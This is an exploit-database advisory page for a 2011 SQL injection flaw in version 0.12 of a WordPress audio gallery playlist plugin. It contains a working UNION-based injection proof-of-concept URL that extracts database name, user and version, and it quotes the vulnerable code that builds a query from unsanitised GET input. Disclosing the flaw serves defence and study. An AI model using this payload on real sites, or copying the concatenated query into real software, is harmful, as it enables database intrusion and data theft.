header-logo
Suggest Exploit
vendor:
wp audio gallery playlist plugin
by:
Miroslav Stampar
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: wp audio gallery playlist plugin
Affected Version From: 0.12
Affected Version To: 0.12
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:wp_audio_gallery_playlist:0.12
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2011

WordPress wp audio gallery playlist plugin <= 0.12 SQL Injection Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input in the 'post_gallery' parameter of the 'playlist.php' script. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application's database, cause disclosure of sensitive information, modify data and compromise the application.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.
Source

Exploit-DB raw data:

# Exploit Title: WordPress wp audio gallery playlist plugin <= 0.12 SQL Injection Vulnerability
# Date: 2011-08-30
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-audio-gallery-playlist.0.12.zip
# Version: 0.12 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/wp-audio-gallery-playlist/playlist.php?post_gallery=-1' UNION ALL SELECT 1,2,3,4,5,database(),current_user(),8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22,23--%20

---------------
Vulnerable code
---------------
$table_name = $wpdb->prefix . "posts";
...
if (isset($_GET['post_gallery']))
	$query = 'SELECT * FROM `'.$table_name.'` WHERE `post_parent` = \''.$_GET['post_gallery'].'\' AND  `post_mime_type` = \'audio/mpeg\' ORDER BY `menu_order` ASC';